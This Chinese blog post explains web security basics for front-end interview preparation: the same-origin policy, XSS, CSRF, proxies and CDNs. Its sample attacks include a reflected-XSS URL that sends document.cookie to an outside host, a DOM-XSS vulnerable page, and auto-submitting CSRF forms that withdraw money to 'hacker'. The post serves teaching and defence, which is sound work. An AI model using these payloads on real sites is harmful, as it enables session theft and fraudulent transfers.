• 前端应该了解的计算机网络知识（二）

    前言

    好久没写博客啦，不知不觉就两个月了，网上看大家在玩基金，于是入坑了，现在成为了一名绿油油韭菜，说不上这个决定是好或者坏，
    不买基金以前钱也是存在银行，学习一些理财知识肯定是好的，而且每天盯着看是赚了还是亏了，很刺激，每天都在期待第二天，继而
    不再对上班抗击，算是意外之喜。最近更加关注身体了，每天 12 点以前就睡了，因为现在公司上班比较远，所以 7 点 20 左右就得起床，
    早睡早起一段时间以后，感觉过敏性鼻炎不怎么犯了，挺好的。最近感觉都没怎么学习技术，拖了这么久，还是继续填坑吧。

    同源策略

    所谓 源，可以指URL，简单来看某个URL组成。

    在这里：

    名称 举例
    协议 http、https
    域名 github.com、jsliang.top
    端口 80、443

    如果 URL 上未标明端口，那么 http 默认是 80 端口，https 默认是 443 端口。

    只有当协议、域名、端口 一致的情况下，才属于同源。

    同源策略有哪些限制？

    1.DOM 层面
    同源策略限制了来自不同源的 JavaScript 脚本对当前 DOM 对象读和写的操作。
    举个栗子：当你在 A 页面，通过 <a href="xxx" target="_blank"> 的形式打开 B 页面，经过下面 2 行代码可以将 A 页面的内容给隐藏掉：

      let pdom = opener.document;
  pdom.body.style.display = "none";

    这就是同源情况下 DOM 的一个操作，而不同源的是无法操作的。
    拓展知识：

    • rel=noopener //禁止被打开的界面获取到opener对象
    • rel=norefferrer //rel=noopener不支持火狐，为了兼容需要加上rel=noreferrer
    • rel=nofollow //用于告诉搜索引擎不要追踪特定的网页链接。可以用于阻止在PR值高的网站上以留言等方式添加链接从而提高自身网站排名的行为，以改善搜索结果的质量，防止垃圾链接的蔓延。

    参考链接: https://juejin.cn/post/6844903597470121992

    2.数据层面
    同源策略限制了不同源的站点读取当前站点的 Cookie、IndexDB、LocalStorage 等数据。

    3.网络层面
    同源策略限制了通过 XMLHttpRequest 等方式将站点的数据发送给不同源的站点。

    XSS

    XSS（Cross Site Script）跨站脚本攻击。指的是攻击者向网页注入恶意的客户端代码，通过恶意的脚本对客户端网页进行篡改，
    从而在用户浏览网页时，对用户浏览器进行控制或者获取用户隐私数据的一种攻击方式。

    危害

    1. 可以窃取 Cookie 信息。恶意 JavaScript 可以通过 document.cookie 获取 Cookie 信息，然后通过 XMLHttpRequest 或者 Fetch 加上 CORS 功能将数据发送给恶意服务器。恶意服务器拿到用户的 Cookie 信息之后，就可以在其他电脑上模拟用户的登录，然后进行转账等操作。
    2. 可以监听用户行为。恶意 JavaScript 可以使用 addEventListener 接口来监听键盘事件，比如可以获取用户输入的信用卡等信息，将其发送到恶意服务器。黑客掌握了这些信息之后，又可以做很多违法的事情。
    3. 可以通过修改 DOM 伪造假的登录窗口，用来欺骗用户输入用户名和密码等信息。
    4. 可以在页面内生成浮窗广告，这些广告会严重地影响用户体验。

    方式

    1. 存储型：攻击被存储在服务端，常见的是在评论区插入攻击脚本，所有看见对应评论的用户都会受到攻击

    2. 反射型：恶意脚本本身是作为请求参数发送到站点页面存在漏洞的地方（通常是搜索框），然后脚本反射（出现）在新渲染（或者部分刷新）的页面并执行。
      例如：用户在一个不防范 XSS 的网站中搜索内容，关键字为 XXX，如果网站内包含 XXX 的内容，那么该内容就会被展示出来，如果网站中不包含相关，那么可能会提示 XXX 相关内容不存在。
      也就是，用户的搜索内容最终都会以某种方式反射到搜索结果中。
      如果搜索内容为：<script>alert(1)</script>，那么页面就会执行这段 JavaScript 代码。
      www.example.com?search=<script>window.location='http://baidu.com/?cookie=' + document.cookie</script>

    3. DOM型XSS是基于DOM文档对象模型的一种漏洞，DOM型XSS并不会和后台进行交互，是完完全全的 Web 前端安全问题
      例如：我们写了这样一段代码，漏洞就形成了，document.URL获取用户输入，在代码中未经过任何过滤就传递给了document.write

       <!DOCTYPE html>
    <html>
    <head>
      <title>DOM XSS</title>
    </head>
    <body>
      <script>
        var pos=document.URL.indexOf("name=")+5;
        document.write(decodeURI(document.URL.substring(pos,document.URL.length)));
      </script>
    </body>
  </html>

      形成原因：JS中存在获取外部输入内容的可利用的代码如URL栏的内容，外部输入内容在未经过有效过滤的情况下就传入危险的输出函数直接输出到页面中或传入eval等危险执行函数就会在页面上直接解析恶意JS代码。

      导致DOM型XSS的存在，总结为外部输入Sources和危险敏感操作Sinks（包括执行/输出页面）

      Sources

      • document.URL
      • document.URLUnencoded
      • document.location（及其许多属性）
      • document.referrer
      • window.location（及其许多属性）
      • location
      • location.href
      • location.search
      • location.hash
      • location.pathname

      Sinks

      1. 直接执行脚本类

        • eval(…)
        • window.execScript(…)
        • window.setInterval(…)
        • window.setTimeout(…)

      2. 写 HTML 页面类

        • document.write(…)
        • document.writeln(…)
        • element.innerHTML(…)

      3. 直接修改 DOM 类

        • document.forms[0].action=… (and various other collections)
        • document.attachEvent(…)
        • document.create…(…)
        • document.execCommand(…)
        • document.body. … (accessing the DOM through the body object)
        • window.attachEvent(…)

      4. 替换文档 URL 类

        • document.location=… (and assigning to location’s href, host and hostname)
        • document.location.hostname=…
        • document.location.replace(…)
        • document.location.assign(…)
        • document.URL=…
        • window.navigate(…)

      5. 打开/修改窗口类

        • document.open(…)
        • window.open(…)
        • window.location.href=… (and assigning to location’s href, host and hostname)

    防御 XSS 攻击

    • 输入检查：对输入内容中的 script 和 <iframe> 等标签进行转义或者过滤
      • 设置 httpOnly：设置此属性可防止 JavaScript 获取 Cookie，只能在 HTTP 请求过程中使用 Cookie
      • 开启 CSP(Content Security Policy) 白名单：即开启白名单，可阻止白名单以外的资源加载和运行，参考链接：http://www.ruanyifeng.com/blog/2016/09/csp.html

    CSRF

    CSRF(Cross-site request forgery）跨站请求伪造。攻击者诱导受害者进入第三方网站，在第三方网站中，向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证，
    绕过后台的用户验证，达到冒充用户对被攻击的网站执行某项操作的目的。
    一个典型的 CSRF 攻击有着如下的流程：

    • 受害者登录 a.com，并保留了登录凭证（Cookie）。
    • 攻击者引诱受害者访问了 b.com。
    • b.com 向 a.com 发送了一个请求：a.com/act=xx。浏览器会默认携带 a.com 的 Cookie。
    • a.com 接收到请求后，对请求进行验证，并确认是受害者的凭证，误以为是受害者自己发送的请求。
    • a.com 以受害者的名义执行了 act=xx。
    • 攻击完成，攻击者在受害者不知情的情况下，冒充受害者，让 a.com 执行了自己定义的操作。

    几种常见的攻击类型

    1. GET 类型的 CSRF

        <!DOCTYPE html>
  <html>
    <body>
    <h1>黑客的站点：CSRF 攻击演示</h1>
    <img src="http://bank.example/withdraw?account=xiaoming&amount=10000&for=hacker">
    </body>
  </html>

      当该页面被加载时，浏览器会自动发起 img 的资源请求，如果服务器没有对该请求做判断的话，那么服务器就会认为该请求是一个转账请求。

    2. POST 类型的 CSRF

        <form action="http://bank.example/withdraw" method=POST>
    <input type="hidden" name="account" value="xiaoming" />
    <input type="hidden" name="amount" value="10000" />
    <input type="hidden" name="for" value="hacker" />
  </form>
  <script> document.forms[0].submit(); </script>

      在页面中构建了一个隐藏的表单，该表单的内容就是极客时间的转账接口。
      当用户打开该站点之后，这个表单会被自动执行提交；当表单被提交之后，服务器就会执行转账操作。
      POST类型的攻击通常比GET要求更加严格一点，但仍并不复杂，后端接口不能将安全寄托在仅允许POST上面。

    3. 链接类型的CSRF
      这种类型通常是在论坛中发布的图片中嵌入恶意链接，或者以广告的形式诱导用户中招，攻击者通常会以比较夸张的词语诱骗用户点击

      <a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank">
  点击下载美女照片
<a/>

    防御 CSRF 攻击

    • 验证 Token：浏览器请求服务器时，服务器返回一个 token，之后每个请求都需要同时带上 token 和 Cookie 才会被认为是合法请求
    • 验证 Referer：通过验证请求头的 Referer 来验证来源站点，但请求头很容易伪造
    • 设置 SameSite：设置 Cookie 的 SameSite，可以让 Cookie 不随跨站请求发出，但浏览器兼容不一

    参考链接：https://tech.meituan.com/2018/10/11/fe-security-csrf.html

    正向代理和反向代理

    1. 正向代理
      正向代理也就是大家常说的“代理”，用户向代理服务器发送请求，代理服务器从网络中检索数据，最典型的应用场景就是绕过网络限制。
      举个栗子：我是一个用户，我访问不了某网站，但是我能访问一个代理服务器，这个代理服务器，他能访问那个我不能访问的网站，于是我先连上代理服务器，告诉他我需要那个无法访问网站的内容，代理服务器去取回来，然后返回给我。

       用户 1
       
 用户 —— 代理 -> 服务器
       /
 用户 3

      对于网站而言它只知道有一个服务器访问了自己，并不知道是我访问不了它，找了一个代理服务器访问它。

    2. 反向代理
      反向代理一般用于控制对专用网络上服务器的访问。它代表一个客户端从一个或多个服务器检索资源，然后将这些资源返回给客户端，好像资源源自代理服务器本身一样。
      举个栗子：我们访问百度网站，百度的代理服务器对外的域名为 www.baidu.com 。具体内部的服务器节点我们不知道。现实中我们通过访问百度的代理服务器后，代理服务器给我们转发请求到他们 N 多的服务器节点中的一个给我们进行搜索后将结果返回。

       用户 1               服务器 1
                   /
 用户 2 ->  总服务器 -> 服务器 2
       /            
 用户 3               服务器 3

      对我而言我只知道服务器返回了结果给我，并不知道是哪个服务器做的这件事情。

    总结：正向代理隐藏真实客户端，反向代理隐藏真实服务端。

    参考链接：https://juejin.cn/post/6844904148035436551

    CDN

    CDN 全称 Content Delivery Network，即内容分发网络。
    其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节，使内容传输的更快、更稳定。

    • 不使用 CDN

    广州的用户要请求一个在北京的 IP 地址。

    那可能经过是这样的：

    广州用户 -> 广州服务器 -> 湖南服务器 -> 湖北服务器 -> 北京服务器

    这样子一个一个查找，很耽搁时间。

    • 使用 CDN

    北京服务器指定了一个 CDN 服务商，然后这个服务商有个广州服务器上做了部署，我们直接访问广州服务器就可以找到资料了。

    • 简单理解

    某东购物，买个洗发水，外国牌子的，然后某东直接从它家的广州仓库发过来。

    如果用户是北京的，那就从北京仓库发出去。

    而我们的 CDN 服务商，就是干这个的。

    • 举例

    我们在页面中引用了 jQuery。如果这个资源放在自家服务器上，会增加自家服务器的压力；如果请求 jQuery 官网的地址，又可能太远。于是使用了 CDN，让 CDN 服务商判断用户举例它哪个资源库最近，就提供哪个地址给用户。

    • 适用情况
    1. 不常更新的静态资源
    2. 自家服务器资源较少

    参考链接：https://juejin.cn/post/6844903906296725518

    结尾

    因为我写博客一是为了记录，二也是为了应对面试，很多东西不去总结一遍，面试官问到的时候不知道如何回答，这里也只是一个大纲性的东西，不过我也贴上了
    一些参考链接，可以点进去详细查看。
  • 相关阅读:
    ZOJ 2604 Little Brackets DP
    js实现回放拖拽轨迹-------Day48
    Android蓝牙开发
    linux中的两个很重要的信号：SIGALRM信号和SIGCHID信号
    MySQL mysqldump数据导出详解
    JFinal redis cluster集群插件
    nginx平滑升级
    温故而知新-String类
    Linux环境变量具体解释
    android消息机制
  • 原文地址：https://www.cnblogs.com/wangxi01/p/14314657.html
Copyright © 2020-2023  润新知